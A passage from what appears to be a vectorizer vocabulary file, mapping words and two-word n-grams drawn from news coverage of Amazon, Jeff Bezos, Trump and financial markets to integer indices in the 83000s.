\"feminist author\": 83011,\n  \"enamored\": 83012,\n  \"conspiracy sf\": 83013,\n  \"promote displacement\": 83014,\n  \"fruit\": 83015,\n  \"boycott flooding\": 83016,\n  \"named luis\": 83017,\n  \"virginia started\": 83018,\n  \"146\": 83019,\n  \"officials basically\": 83020,\n  \"remove security\": 83021,\n  \"research explains\": 83022,\n  \"intraday record\": 83023,\n  \"singaporean\": 83024,\n  \"service losses\": 83025,\n  \"utm_content 2018\": 83026,\n  \"net operating\": 83027,\n  \"raakhee\": 83028,\n  \"sympathizes\": 83029,\n  \"opening event\": 83030,\n  \"significantly worse\": 83031,\n  \"believes facebook\": 83032,\n  \"msnbc host\": 83033,\n  \"charts currently\": 83034,\n  \"canvas toiletry\": 83035,\n  \"fiji refused\": 83036,\n  \"researchers states\": 83037,\n  \"billion independent\": 83038,\n  \"amazon valley\": 83039,\n  \"considered tapping\": 83040,\n  \"sharing costs\": 83041,\n  \"small parts\": 83042,\n  \"foto sourcebelk\": 83043,\n  \"broke apple\": 83044,\n  \"big consider\": 83045,\n  \"city located\": 83046,\n  \"disappointing quarter\": 83047,\n  \"cents today\": 83048,\n  \"lift technology\": 83049,\n  \"heres dividend\": 83050,\n  \"13990\": 83051,\n  \"operatives\": 83052,\n  \"tech learn\": 83053,\n  \"tackle counterfeits\": 83054,\n  \"marketplace set\": 83055,\n  \"summit officials\": 83056,\n  \"ebram abramowitz\": 83057,\n  \"wasn supposed\": 83058,\n  \"won stay\": 83059,\n  \"seasonal increase\": 83060,\n  \"health sex\": 83061,\n  \"concede\": 83062,\n  \"signed directive\": 83063,\n  \"strangest check\": 83064,\n  \"bnsf railway\": 83065,\n  \"offering posted\": 83066,\n  \"throwing hundreds\": 83067,\n  \"care later\": 83068,\n  \"secure social\": 83069,\n  \"gubernatorial candidate\": 83070,\n  \"donors\": 83071,\n  \"comparatively safe\": 83072,\n  \"194 shares\": 83073,\n  \"governor kathy\": 83074,\n  \"bad book\": 83075,\n  \"press documented\": 83076,\n  \"big demands\": 83077,\n  \"new high\": 83078,\n  \"fierce immigration\": 83079,\n  \"endorses investor\": 83080,\n  \"sleazy practice\": 83081,\n  \"ju\": 83082,\n  \"duper\": 83083,\n  \"kristin hannah\": 83084,\n  \"publishing trump\": 83085,\n  \"emanuel strategy\": 83086,\n  \"counterintelligence investigations\": 83087,\n  \"rosenstein dems\": 83088,\n  \"stop murdering\": 83089,\n  \"shutdown white\": 83090,\n  \"o9x g4\": 83091,\n  \"stick xbox\": 83092,\n  \"great company\": 83093,\n  \"viet\": 83094,\n  \"weakening protections\": 83095,\n  \"staying power\": 83096,\n  \"psychological therapies\": 83097,\n  \"lakewood tonight\": 83098,\n  \"refugee ceiling\": 83099,\n  \"dramas\": 83100,\n  \"reports sears\": 83101,\n  \"leader declined\": 83102,\n  \"jeffrey 70m\": 83103,\n  \"kidnapped\": 83104,\n  \"states introduced\": 83105,\n  \"beau willimon\": 83106,\n  \"story tells\": 83107,\n  \"injured attempted\": 83108,\n  \"sportswriter definitive\": 83109,\n  \"summit announces\": 83110,\n  \"taking apple\": 83111,\n  \"outspoken positions\": 83112,\n  \"soybean sales\": 83113,\n  \"119 annual\": 83114,\n  \"medical treatments\": 83115,\n  \"jobs outnumber\": 83116,\n  \"lic development\": 83117,\n  \"election voter\": 83118,\n  \"review group\": 83119,\n  \"oddest result\": 83120,\n  \"fantasies\": 83121,\n  \"breakups involving\": 83122,\n  \"tech plutocrat\": 83123,\n  \"violate press\": 83124,\n  \"small steps\": 83125,\n  \"expectations instead\": 83126,\n  \"jeffrey dastin\": 83127,\n  \"mcdermid reuters\": 83128,\n  \"production overseas\": 83129,\n  \"maldonado\": 83130,\n  \"bezoses took\": 83131,\n  \"explaining\": 83132,\n  \"dnainfo chain\": 83133,\n  \"halt amzn\": 83134,\n  \"dramatically trump\": 83135,\n  \"homes grand\": 83136,\n  \"usps needs\": 83137,\n  \"revealed earlier\": 83138,\n  \"newman\": 83139,\n  \"director spike\": 83140,\n  \"city new\": 83141,\n  \"neighboring shelby\": 83142,\n  \"quality\": 83143,\n  \"fledged operations\": 83144,\n  \"process say\": 83145,\n  \"split broadly\": 83146,\n  \"hold online\": 83147,\n  \"major county\": 83148,\n  \"patients\": 83149,\n  \"rejection\": 83150,\n  \"statesand saudi\": 83151,\n  \"intent leaves\": 83152,\n  \"independent report\": 83153,\n  \"maloy\": 83154,\n  \"main concern\": 83155,\n  \"package revenues\": 83156,\n  \"angry echo\": 83157,\n  \"party don\": 83158,\n  \"seen daily\": 83159,\n  \"traders expect\": 83160,\n  \"israel song\": 83161,\n  \"quiet critics\": 83162,\n  \"charts cdc_36162c8634251ee9931a470a_embed\": 83163,\n  \"motion red\": 83164,\n  \"books jeanine\": 83165,\n  \"trump required\": 83166,\n  \"agribusiness lobby\": 83167,\n  \"blasio 180\": 83168,\n  \"human remains\": 83169,\n  \"skykick\": 83170,\n  \"lawsuit giuliani\": 83171,\n  \"stocks recover\": 83172,\n  \"internet powerhouse\": 83173,\n  \"disgraced rep\": 83174,\n  \"did mention\": 83175,\n  \"areas garnering\": 83176,\n  \"cloud control\": 83177,\n  \"hollywood studio\": 83178,\n  \"tech alongside\": 83179,\n  \"search hardware\": 83180,\n  \"anchor votes\": 83181,\n  \"divided bezos\": 83182,\n  \"kids pillows\": 83183,\n  \"broadband providers\": 83184,\n  \"provision\": 83185,\n  \"election says\": 83186,\n  \"10th\": 83187,\n  \"young premieres\": 83188,\n  \"defiantly\": 83189,\n  \"2011 amazon\": 83190,\n  \"human fetal\": 83191,\n  \"provide clarity\": 83192,\n  \"violated cooperation\": 83193,\n  \"neighborhood gentrification\": 83194,\n  \"companies dealing\": 83195,\n  \"customers amazon\": 83196,\n  \"sponsor told\": 83197,\n  \"helping obama\": 83198,\n  \"positive putin\": 83199,\n  \"investigation frmr\": 83200,\n  \"projects konst\": 83201,\n  \"\\u0430a\": 83202,\n  \"numerous news\": 83203,\n  \"know pretty\": 83204,\n  \"story jussie\": 83205,\n  \"1950s\": 83206,\n  \"clearly going\": 83207,\n  \"billion ahead\": 83208,\n  \"modern data\": 83209,\n  \"mar\\u00eda archila\": 83210,\n  \"writer mark\": 83211,\n  \"mental instability\": 83212,\n  \"judge blocked\": 83213,\n  \"strongly implied\": 83214,\n  \"acosta stephenson\": 83215,\n  \"microsoft logo\": 83216,\n  \"skilled\": 83217,\n  \"faang gang\": 83218,\n  \"potentially retaliation\": 83219,\n  \"glance london\": 83220,\n  \"575 million\": 83221,\n  \"began separating\": 83222,\n  \"true inner\": 83223,\n  \"super cautious\": 83224,\n  \"intellectually honest\": 83225,\n  \"housing markets\": 83226,\n  \"film chronicles\": 83227,\n  \"battling accusations\": 83228,\n  \"aiding ice\": 83229,\n  \"louis dejoy\": 83230,\n  \"sky prompting\": 83231,\n  \"happen rightly\": 83232,\n  \"seattle complaints\": 83233,\n  \"home john\": 83234,\n  \"striking reversal\": 83235,\n  \"govern free\": 83236,\n  \"cramer cramer\": 83237,\n  \"lovey dovey\": 83238,\n  \"strangers annie\": 83239,\n  \"states relax\": 83240,\n  \"new lobby\": 83241,\n  \"stockman\": 83242,\n  \"named acting\": 83243,\n  \"scale imageurl\": 83244,\n  \"pursuing government\": 83245,\n  \"examiner brands\": 83246,\n  \"concerns facebook\": 83247,\n  \"brand tlds\": 83248,\n  \"chilling effect\": 83249,\n  \"effort\": 83250,\n  \"undefined a4ee\": 83251,\n  \"weekly cards\": 83252,\n  \"levinson\": 83253,\n  \"pregnancy ads\": 83254,\n  \"incredible work\": 83255,\n  \"rigged economy\": 83256,\n  \"photogenic\": 83257,\n  \"couldn landlord\": 83258,\n  \"tm newspaper\": 83259,\n  \"view features\": 83260,\n  \"ferrari grew\": 83261,\n  \"special new\": 83262,\n  \"tech operation\": 83263,\n  \"banded\": 83264,\n  \"reported past\": 83265,\n  \"grueling corporate\": 83266,\n  \"business growth\": 83267,\n  \"rainforests rivers\": 83268,\n  \"bowl liii\": 83269,\n  \"week prominent\": 83270,\n  \"multiple tactics\": 83271,\n  \"company better\": 83272,\n  \"immigrants\": 83273,\n  \"griff good\": 83274,\n  \"deal heckler\": 83275,\n  \"rankles president\": 83276,\n  \"jonathan lethem\": 83277,\n  \"city operating\": 83278,\n  \"judgemental\": 83279,\n  \"gathering dust\": 83280,\n  \"naming wings\": 83281,\n  \"bolsonaro attended\": 83282,\n  \"capitalism india\": 83283,\n  \"zguz data\": 83284,\n  \"bags share\": 83285,\n  \"appear especially\": 83286,\n  \"inoffensiveness\": 83287,\n  \"counterclaim\": 83288,\n  \"climbing\": 83289,\n  \"seth meyers\": 83290,\n  \"562 bought\": 83291,\n  \"stoto\": 83292,\n  \"flaccid\": 83293,\n  \"corporation hardly\": 83294,\n  \"bebeto\": 83295,\n  \"alarm\": 83296,\n  \"specific examples\": 83297,\n  \"rhythms\": 83298,\n  \"relatively rarely\": 83299,\n  \"officers stop\": 83300,\n  \"disenchanted\": 83301,\n  \"products case\": 83302,\n  \"passion\": 83303,\n  \"hour increase\": 83304,\n  \"375 billion\": 83305,\n  \"county democratic\": 83306,\n  \"workforce operations\": 83307,\n  \"constitutional scholar\": 83308,\n  \"overweight overweight\": 83309,\n  \"bourdain world\": 83310,\n  \"european focus\": 83311,\n  \"age khan\": 83312,\n  \"bay blvd\": 83313,\n  \"affect chris\": 83314,\n  \"politics social\": 83315,\n  \"push amazon\": 83316,\n  \"electric vehicles\": 83317,\n  \"stalled small\": 83318,\n  \"corporate affairs\": 83319,\n  \"choose\": 83320,\n  \"broadcast\": 83321,\n  \"bafflingly\": 83322,\n  \"queens photographer\": 83323,\n  \"statement customer\": 83324,\n  \"digital subscriptions\": 83325,\n  \"stars salma\": 83326,\n  \"goingthrough\": 83327,\n  \"home turf\": 83328,\n  \"news issues\": 83329,\n  \"pirro source\": 83330,\n  \"growers geekwire\": 83331,\n  \"mckinsey estimates\": 83332,\n  \"rogers fx\": 83333,\n  \"registration\": 83334,\n  \"morning sign\": 83335,\n  \"lobbied alongside\": 83336,\n  \"reprieve democrats\": 83337,\n  \"secret tapes\": 83338,\n  \"ganguli\": 83339,\n  \"fight plays\": 83340,\n  \"heated tensions\": 83341,\n  \"points shea\": 83342,\n  \"section 801\": 83343,\n  \"emails differed\": 83344,\n  \"administration nonsense\": 83345,\n  \"truth agenda\": 83346,\n  \"frank rollbacks\": 83347,\n  \"college recruiting\": 83348,\n  \"new fbi\": 83349,\n  \"untimely\": 83350,\n  \"different experiences\": 83351,\n  \"entire supply\": 83352,\n  \"current brexit\": 83353,\n  \"lynxmpeeb4032\": 83354,\n  \"perquisites\": 83355,\n  \"corrected\": 83356,\n  \"hulu app\": 83357,\n  \"happens frequently\": 83358,\n  \"fiber optic\": 83359,\n  \"cking moron\": 83360,\n  \"headline volatility\": 83361,\n  \"modest decline\": 83362,\n  \"observers saw\": 83363,\n  \"gap band\": 83364,\n  \"umbrella academy\": 83365,\n  \"realdonaldtrump kept\": 83366,\n  \"packages shipped\": 83367,\n  \"chinese competitor\": 83368,\n  \"various products\": 83369,\n  \"personal campaigns\": 83370,\n  \"trump insists\": 83371,\n  \"total promised\": 83372,\n  \"job changes\": 83373,\n  \"157 billion\": 83374,\n  \"pwc\": 83375,\n  \"nature trump\": 83376,\n  \"long ap\": 83377,\n  \"mortifying\": 83378,\n  \"die young\": 83379,\n  \"million steven\": 83380,\n  \"amid report\": 83381,\n  \"amazon today\": 83382,\n  \"brennan met\": 83383,\n  \"growing strategy\": 83384,\n  \"macroeconomic\": 83385,\n  \"states subsidizing\": 83386,\n  \"predicted disastrous\": 83387,\n  \"petition reads\": 83388,\n  \"ariana\": 83389,\n  \"called ove\": 83390,\n  \"replacement imageurl\": 83391,\n  \"gounardes expanding\": 83392,\n  \"traditionally considered\": 83393,\n  \"rick wilson\": 83394,\n  \"require employers\": 83395,\n  \"positive news\": 83396,\n  \"incorporate diverse\": 83397,\n  \"source buisness\": 83398,\n  \"enforcement executives\": 83399,\n  \"possible actions\": 83400,\n  \"disasters facebook\": 83401,\n  \"just plain\": 83402,\n  \"salacious text\": 83403,\n  \"columnist ta\": 83404,\n  \"computer 2019\": 83405,\n  \"nemesis bezos\": 83406,\n  \"hasn actually\": 83407,\n  \"perched\": 83408,\n  \"sell online\": 83409,\n  \"matthew dowd\": 83410,\n  \"kavanaugh service\": 83411,\n  \"took dead\": 83412,\n  \"profit generator\": 83413,\n  \"nationalist party\": 83414,\n  \"president dubious\": 83415,\n  \"ex officials\": 83416,\n  \"multiple meetings\": 83417,\n  \"suppressing story\": 83418,\n  \"136\": 83419,\n  \"851 000\": 83420,\n  \"says action\": 83421,\n  \"puffy paint\": 83422,\n  \"shares wisconsin\": 83423,\n  \"yesterday primary\": 83424,\n  \"confesses\": 83425,\n  \"date closing\": 83426,\n  \"skewered amazon\": 83427,\n  \"2020 watch\": 83428,\n  \"false inc_flag_for_reviewflag\": 83429,\n  \"advocating\": 83430,\n  \"marlins drafting\": 83431,\n  \"ormond editor\": 83432,\n  \"requested written\": 83433,\n  \"neckband\": 83434,\n  \"nadal\": 83435,\n  \"bezos participates\": 83436,\n  \"secretariat\": 83437,\n  \"lasting trade\": 83438,\n  \"northrop\": 83439,\n  \"stein npr\": 83440,\n  \"largest shopping\": 83441,\n  \"bezos warned\": 83442,\n  \"slaughtered\": 83443,\n  \"giant concur\": 83444,\n  \"global unions\": 83445,\n  \"party civil\": 83446,\n  \"canadians say\": 83447,\n  \"zeros amazon\": 83448,\n  \"cattleman\": 83449,\n  \"trumps attacks\": 83450,\n  \"really trying\": 83451,\n  \"low expectations\": 83452,\n  \"privacy advocate\": 83453,\n  \"court held\": 83454,\n  \"brand darn\": 83455,\n  \"juiciest celeb\": 83456,\n  \"remote screening\": 83457,\n  \"trump absolute\": 83458,\n  \"corporate north\": 83459,\n  \"prolific amazon\": 83460,\n  \"v4 array\": 83461,\n  \"tabloid used\": 83462,\n  \"suspiciously\": 83463,\n  \"increasingly amazon\": 83464,\n  \"speeds\": 83465,\n  \"revenue decline\": 83466,\n  \"analyzing\": 83467,\n  \"holdings include\": 83468,\n  \"mullaney ponzi\": 83469,\n  \"unsecured phone\": 83470,\n  \"controversial story\": 83471,\n  \"1750\": 83472,\n  \"poor rating\": 83473,\n  \"jon sarlin\": 83474,\n  \"studios previous\": 83475,\n  \"old motel\": 83476,\n  \"resourcefulness\": 83477,\n  \"hiked\": 83478,\n  \"annihilated\": 83479,\n  \"inflame tensions\": 83480,\n  \"dayton ohio\": 83481,\n  \"khosrowshahi culture\": 83482,\n  \"benefits despite\": 83483,\n  \"previously federal\": 83484,\n  \"new stoic\": 83485,\n  \"funds calculate\": 83486,\n  \"retailers entirely\": 83487,\n  \"ninth circuit\": 83488,\n  \"questioned president\": 83489,\n  \"earned buy\": 83490,\n  \"fishing\": 83491,\n  \"ways away\": 83492,\n  \"illegal unconstitutional\": 83493,\n  \"bowker\": 83494,\n  \"acquisitions\": 83495,\n  \"story lists\": 83496,\n  \"expecting resulting\": 83497,\n  \"create lots\": 83498,\n  \"new way\": 83499,\n  \"president emergency\": 83500,\n  \"grasped\": 83501,\n  \"protections provided\": 83502,\n  \"bickering\": 83503,\n  \"enjoying trumped\": 83504,\n  \"available technology\": 83505,\n  \"products company\": 83506,\n  \"billion legal\": 83507,\n  \"growing company\": 83508,\n  \"equals\": 83509,\n  \"biggest wine\": 83510,\n  \"benchmark price\": 83511,\n  \"government hoops\": 83512,\n  \"96th street\": 83513,\n  \"decline data\": 83514,\n  \"unfussy nourishment\": 83515,\n  \"democrats including\": 83516,\n  \"snookered\": 83517,\n  \"buying equities\": 83518,\n  \"america role\": 83519,\n  \"elderly americans\": 83520,\n  \"irs ruling\": 83521,\n  \"trump month\": 83522,\n  \"increased pressures\": 83523,\n  \"muckerman owns\": 83524,\n  \"regulatory approach\": 83525,\n  \"delivering service\": 83526,\n  \"siegfried\": 83527,\n  \"entirely separate\": 83528,\n  \"citing evidence\": 83529,\n  \"mnuchin calls\": 83530,\n  \"hankering\": 83531,\n  \"job repeal\": 83532,\n  \"shift seamlessly\": 83533,\n  \"globalism\": 83534,\n  \"sides agreed\": 83535,\n  \"tr iwb\": 83536,\n  \"tony danza\": 83537,\n  \"budget hearing\": 83538,\n  \"does really\": 83539,\n  \"hire workers\": 83540,\n  \"messy morning\": 83541,\n  \"inclined tech\": 83542,\n  \"network good\": 83543,\n  \"physical abuse\": 83544,\n  \"participate saying\": 83545,\n  \"boycott related\": 83546,\n  \"want antitrust\": 83547,\n  \"latam cloud\": 83548,\n  \"schools popular\": 83549,\n  \"bounds\": 83550,\n  \"180000\": 83551,\n  \"alum michael\": 83552,\n  \"comments related\": 83553,\n  \"goff completed\": 83554,\n  \"robert wolf\": 83555,\n  \"internet addresses\": 83556,\n  \"cnn election\": 83557,\n  \"refugees admit\": 83558,\n  \"world 500\": 83559,\n  \"twitter saying\": 83560,\n  \"smaller companies\": 83561,\n  \"vantage point\": 83562,\n  \"tank winners\": 83563,\n  \"kicks dirt\": 83564,\n  \"medical research\": 83565,\n  \"west gizmo\": 83566,\n  \"redhotblaziken\": 83567,\n  \"standing ovation\": 83568,\n  \"patchen new\": 83569,\n  \"local paper\": 83570,\n  \"currently available\": 83571,\n  \"current cycle\": 83572,\n  \"akron chapter\": 83573,\n  \"counterfeited goods\": 83574,\n  \"build cars\": 83575,\n  \"europe melania\": 83576,\n  \"louis suburb\": 83577,\n  \"perceived enemy\": 83578,\n  \"old today\": 83579,\n  \"margin nature\": 83580,\n  \"domain document\": 83581,\n  \"truly benefit\": 83582,\n  \"cemeteries\": 83583,\n  \"homicide round\": 83584,\n  \"existing narrow\": 83585,\n  \"sumitomo\": 83586,\n  \"doing hit\": 83587,\n  \"sketches\": 83588,\n  \"legislative decisions\": 83589,\n  \"dedicated\": 83590,\n  \"blackmail claim\": 83591,\n  \"stealth biotherapeutics\": 83592,\n  \"growing commerce\": 83593,\n  \"penitentiary wrote\": 83594,\n  \"jeffrey immelt\": 83595,\n  \"provide consumers\": 83596,\n  \"hq source\": 83597,\n  \"hollywood restaurant\": 83598,\n  \"news contributor\": 83599,\n  \"reactid 201\": 83600,\n  \"businesses black\": 83601,\n  \"screengrab\": 83602,\n  \"cargo follows\": 83603,\n  \"new ad\": 83604,\n  \"street art\": 83605,\n  \"cortez directly\": 83606,\n  \"emergency rooms\": 83607,\n  \"amazon original\": 83608,\n  \"optimize production\": 83609,\n  \"warehouse floor\": 83610,\n  \"conversations dramatic\": 83611,\n  \"current potus\": 83612,\n  \"nathaniel meyersohn\": 83613,\n  \"sidewalk mailboxes\": 83614,\n  \"broke watergate\": 83615,\n  \"euro oescam\": 83616,\n  \"swj small\": 83617,\n  \"59am\": 83618,\n  \"sports storm\": 83619,\n  \"conducted public\": 83620,\n  \"mesh smoothly\": 83621,\n  \"computing leader\": 83622,\n  \"award process\": 83623,\n  \"email send\": 83624,\n  \"amazon regulatory\": 83625,\n  \"liberal heads\": 83626,\n  \"6097408 haaretz\": 83627,\n  \"narendra\": 83628,\n  \"deep travels\": 83629,\n  \"company right\": 83630,\n  \"billion ticker\": 83631,\n  \"husband gerald\": 83632,\n  \"things business\": 83633,\n  \"observatory\": 83634,\n  \"recent announcement\": 83635,\n  \"rank search\": 83636,\n  \"editorial matters\": 83637,\n  \"york profile\": 83638,\n  \"hololens augmented\": 83639,\n  \"new title\": 83640,\n  \"thriving business\": 83641,\n  \"crisis council\": 83642,\n  \"clear edge\": 83643,\n  \"valuable listed\": 83644,\n  \"200b\": 83645,\n  \"executives threatened\": 83646,\n  \"colder school\": 83647,\n  \"jeff ayers\": 83648,\n  \"interview trump\": 83649,\n  \"significant carbon\": 83650,\n  \"acct\": 83651,\n  \"barbados\": 83652,\n  \"judge denies\": 83653,\n  \"divine melodrama\": 83654,\n  \"recalled previous\": 83655,\n  \"huffpost\": 83656,\n  \"equity region\": 83657,\n  \"freewheeling\": 83658,\n  \"prep\": 83659,\n  \"recode daily\": 83660,\n  \"just digging\": 83661,\n  \"nonetheless obtainable\": 83662,\n  \"reasonably objects\": 83663,\n  \"songs albums\": 83664,\n  \"canine companions\": 83665,\n  \"trump fires\": 83666,\n  \"valley trump\": 83667,\n  \"pizzagate conspiracy\": 83668,\n  \"donnell biography\": 83669,\n  \"402\": 83670,\n  \"conway tells\": 83671,\n  \"causes employees\": 83672,\n  \"extremely important\": 83673,\n  \"government certifications\": 83674,\n  \"2018 2018\": 83675,\n  \"insider leanna\": 83676,\n  \"finite\": 83677,\n  \"quality georgia\": 83678,\n  \"began testing\": 83679,\n  \"bloomberg pic\": 83680,\n  \"report ends\": 83681,\n  \"politics ktumulty\": 83682,\n  \"care line\": 83683,\n  \"independence day\": 83684,\n  \"recordings amazon\": 83685,\n  \"lucid moment\": 83686,\n  \"gain financial\": 83687,\n  \"annual hrc\": 83688,\n  \"healthier\": 83689,\n  \"receives star\": 83690,\n  \"fileting\": 83691,\n  \"motorola\": 83692,\n  \"anticipated regulations\": 83693,\n  \"vacuuming\": 83694,\n  \"approved transactions\": 83695,\n  \"ingels\": 83696,\n  \"airport read\": 83697,\n  \"greg_ip\": 83698,\n  \"sally french\": 83699,\n  \"pricing cost\": 83700,\n  \"blumenthal called\": 83701,\n  \"drug tests\": 83702,\n  \"stamped letter\": 83703,\n  \"dow just\": 83704,\n  \"simmered kabocha\": 83705,\n  \"accede\": 83706,\n  \"content jeanine\": 83707,\n  \"hammer bezos\": 83708,\n  \"fundamental tailwinds\": 83709,\n  \"break announcements\": 83710,\n  \"quickly treasury\": 83711,\n  \"family drama\": 83712,\n  \"months stelter\": 83713,\n  \"initial sales\": 83714,\n  \"old son\": 83715,\n  \"original hq2\": 83716,\n  \"binge draw\": 83717,\n  \"storied civil\": 83718,\n  \"objective standpoint\": 83719,\n  \"following flurry\": 83720,\n  \"republicans claiming\": 83721,\n  \"hack worried\": 83722,\n  \"today white\": 83723,\n  \"thumb medium\": 83724,\n  \"offshore dollar\": 83725,\n  \"trump endorsement\": 83726,\n  \"aim\\u00e9 president\": 83727,\n  \"internet connected\": 83728,\n  \"denounces indigenous\": 83729,\n  \"deliver diapers\": 83730,\n  \"heavily populated\": 83731,\n  \"applied materials\": 83732,\n  \"icann\": 83733,\n  \"deficit continues\": 83734,\n  \"agency elemental\": 83735,\n  \"obstructjustice\": 83736,\n  \"seconds flotus\": 83737,\n  \"guaranteed say\": 83738,\n  \"nonsense varney\": 83739,\n  \"try drug\": 83740,\n  \"marketplace companies\": 83741,\n  \"finally struck\": 83742,\n  \"web retailer\": 83743,\n  \"cultural insensitivity\": 83744,\n  \"apple loss\": 83745,\n  \"left defense\": 83746,\n  \"dented\": 83747,\n  \"sweden won\": 83748,\n  \"jammed\": 83749,\n  \"chappatta quick\": 83750,\n  \"large scale\": 83751,\n  \"u8 r4ee\": 83752,\n  \"curtail\": 83753,\n  \"complete infringement\": 83754,\n  \"huntington\": 83755,\n  \"paying income\": 83756,\n  \"wrong information\": 83757,\n  \"reportedly foreclosed\": 83758,\n  \"corresponding gaap\": 83759,\n  \"718 billion\": 83760,\n  \"president chose\": 83761,\n  \"doesn dissuade\": 83762,\n  \"fnarena\": 83763,\n  \"software maker\": 83764,\n  \"expense rate\": 83765,\n  \"honor pic\": 83766,\n  \"loan ratio\": 83767,\n  \"gianni versace\": 83768,\n  \"hollywood invented\": 83769,\n  \"pinning rise\": 83770,\n  \"plunges\": 83771,\n  \"investors read\": 83772,\n  \"schwartz arthurschwartz\": 83773,\n  \"evening\": 83774,\n  \"college years\": 83775,\n  \"stay ahead\": 83776,\n  \"pashman\": 83777,\n  \"lionel laurent\": 83778,\n  \"gotten budgets\": 83779,\n  \"haunts\": 83780,\n  \"true corporate\": 83781,\n  \"consumers start\": 83782,\n  \"china despite\": 83783,\n  \"usat\": 83784,\n  \"visible\": 83785,\n  \"requested jury\": 83786,\n  \"stocking stuffer\": 83787,\n  \"wider adoption\": 83788,\n  \"considerably\": 83789,\n  \"chlo\\u00eb\": 83790,\n  \"producer writer\": 83791,\n  \"socialists ocasio\": 83792,\n  \"trump insulted\": 83793,\n  \"credited mackenzie\": 83794,\n  \"gym amazon\": 83795,\n  \"populist trump\": 83796,\n  \"humankind\": 83797,\n  \"sisk military\": 83798,\n  \"vale deadly\": 83799,\n  \"freelance journalist\": 83800,\n  \"koch blasted\": 83801,\n  \"kickstand want\": 83802,\n  \"billion year\": 83803,\n  \"nate mcmurray\": 83804,\n  \"contained giveaway\": 83805,\n  \"805 boosting\": 83806,\n  \"monkey kidney\": 83807,\n  \"cohorts\": 83808,\n  \"ndm1pvknzp david\": 83809,\n  \"mere 200\": 83810,\n  \"investigated bezos\": 83811,\n  \"strategy antitrust\": 83812,\n  \"starbucks syringe\": 83813,\n  \"billion clawback\": 83814,\n  \"accused president\": 83815,\n  \"predictive policing\": 83816,\n  \"advanced tanker\": 83817,\n  \"silence conservatives\": 83818,\n  \"twitter rage\": 83819,\n  \"denies playing\": 83820,\n  \"issue lot\": 83821,\n  \"high price\": 83822,\n  \"richest area\": 83823,\n  \"pass amazon\": 83824,\n  \"melissa frandsen\": 83825,\n  \"america sale\": 83826,\n  \"deceleration boorstin\": 83827,\n  \"sign maria\": 83828,\n  \"spending doesn\": 83829,\n  \"friction ahead\": 83830,\n  \"newer penalties\": 83831,\n  \"reacted deeply\": 83832,\n  \"retail heavy\": 83833,\n  \"races\": 83834,\n  \"eating james\": 83835,\n  \"trump really\": 83836,\n  \"nyse ko\": 83837,\n  \"billion share\": 83838,\n  \"goods additionally\": 83839,\n  \"missed targets\": 83840,\n  \"declaring national\": 83841,\n  \"m8 w5\": 83842,\n  \"congrats derangeddonald\": 83843,\n  \"sector organizations\": 83844,\n  \"new boeing\": 83845,\n  \"ordered team\": 83846,\n  \"titled simply\": 83847,\n  \"ageism\": 83848,\n  \"assist customers\": 83849,\n  \"coke new\": 83850,\n  \"package pickup\": 83851,\n  \"russians interfered\": 83852,\n  \"vote sam\": 83853,\n  \"abandoned restaurant\": 83854,\n  \"northam\": 83855,\n  \"bluster trump\": 83856,\n  \"highly suspect\": 83857,\n  \"lost retail\": 83858,\n  \"poll finding\": 83859,\n  \"encounter oscars\": 83860,\n  \"concrete pours\": 83861,\n  \"2015 reuters\": 83862,\n  \"andrea\": 83863,\n  \"skill\": 83864,\n  \"protect customers\": 83865,\n  \"margin business\": 83866,\n  \"strong desire\": 83867,\n  \"business carlos\": 83868,\n  \"year buckey\": 83869,\n  \"holding just\": 83870,\n  \"warehouse staff\": 83871,\n  \"domenic\": 83872,\n  \"government chief\": 83873,\n  \"jim jordan\": 83874,\n  \"realdonaldtrump alandersh\": 83875,\n  \"justice issues\": 83876,\n  \"mentioned occurred\": 83877,\n  \"bartiromo wow\": 83878,\n  \"fringe forums\": 83879,\n  \"countdown begins\": 83880,\n  \"filing confirmed\": 83881,\n  \"ease trade\": 83882,\n  \"wall street\": 83883,\n  \"marketwatch articles\": 83884,\n  \"equinox\": 83885,\n  \"document news\": 83886,\n  \"summarily met\": 83887,\n  \"century entrepreneurs\": 83888,\n  \"portable\": 83889,\n  \"capitalisation\": 83890,\n  \"represent quarter\": 83891,\n  \"oppose gay\": 83892,\n  \"martinez\": 83893,\n  \"conduct test\": 83894,\n  \"trudeau puppet\": 83895,\n  \"housing lead\": 83896,\n  \"progressive political\": 83897,\n  \"assessment trump\": 83898,\n  \"today salacious\": 83899,\n  \"famously louche\": 83900,\n  \"apple companies\": 83901,\n  \"truly stunning\": 83902,\n  \"beyonc\\u00e9\": 83903,\n  \"snap stock\": 83904,\n  \"partly stem\": 83905,\n  \"wavering stance\": 83906,\n  \"bette midler\": 83907,\n  \"direct investment\": 83908,\n  \"strident\": 83909,\n  \"second phase\": 83910,\n  \"gdpr proved\": 83911,\n  \"severest\": 83912,\n  \"hitting major\": 83913,\n  \"buyers\": 83914,\n  \"generate billions\": 83915,\n  \"hit monthly\": 83916,\n  \"yards bank\": 83917,\n  \"gf lauren\": 83918,\n  \"zee\": 83919,\n  \"physical store\": 83920,\n  \"net job\": 83921,\n  \"legitimization\": 83922,\n  \"amazon big\": 83923,\n  \"secretly recording\": 83924,\n  \"kym worthy\": 83925,\n  \"reiterating support\": 83926,\n  \"br 319\": 83927,\n  \"foxconn chairman\": 83928,\n  \"battle filled\": 83929,\n  \"rent seeking\": 83930,\n  \"raises target\": 83931,\n  \"stores using\": 83932,\n  \"speech trump\": 83933,\n  \"dead score\": 83934,\n  \"extreme inflation\": 83935,\n  \"costume\": 83936,\n  \"immigration demonstration\": 83937,\n  \"taken aim\": 83938,\n  \"policies saying\": 83939,\n  \"moves away\": 83940,\n  \"sent 840\": 83941,\n  \"2019 sanches\": 83942,\n  \"siriously\": 83943,\n  \"security 1542171601\": 83944,\n  \"notorious publications\": 83945,\n  \"century regulations\": 83946,\n  \"fellow tycoons\": 83947,\n  \"seek information\": 83948,\n  \"meat sticks\": 83949,\n  \"trump campaign\": 83950,\n  \"auto loan\": 83951,\n  \"connected economy\": 83952,\n  \"don suck\": 83953,\n  \"reached soon\": 83954,\n  \"lines someday\": 83955,\n  \"inquirer feud\": 83956,\n  \"fliers advertising\": 83957,\n  \"associated fox\": 83958,\n  \"sanders attacks\": 83959,\n  \"china probably\": 83960,\n  \"union multilateral\": 83961,\n  \"great stonecrest\": 83962,\n  \"showed headlines\": 83963,\n  \"notification saying\": 83964,\n  \"million golden\": 83965,\n  \"best ways\": 83966,\n  \"played critical\": 83967,\n  \"weather american\": 83968,\n  \"overdrive politics\": 83969,\n  \"community divided\": 83970,\n  \"commuting times\": 83971,\n  \"majority owner\": 83972,\n  \"google 2018\": 83973,\n  \"consecutive months\": 83974,\n  \"poured\": 83975,\n  \"statistic heard\": 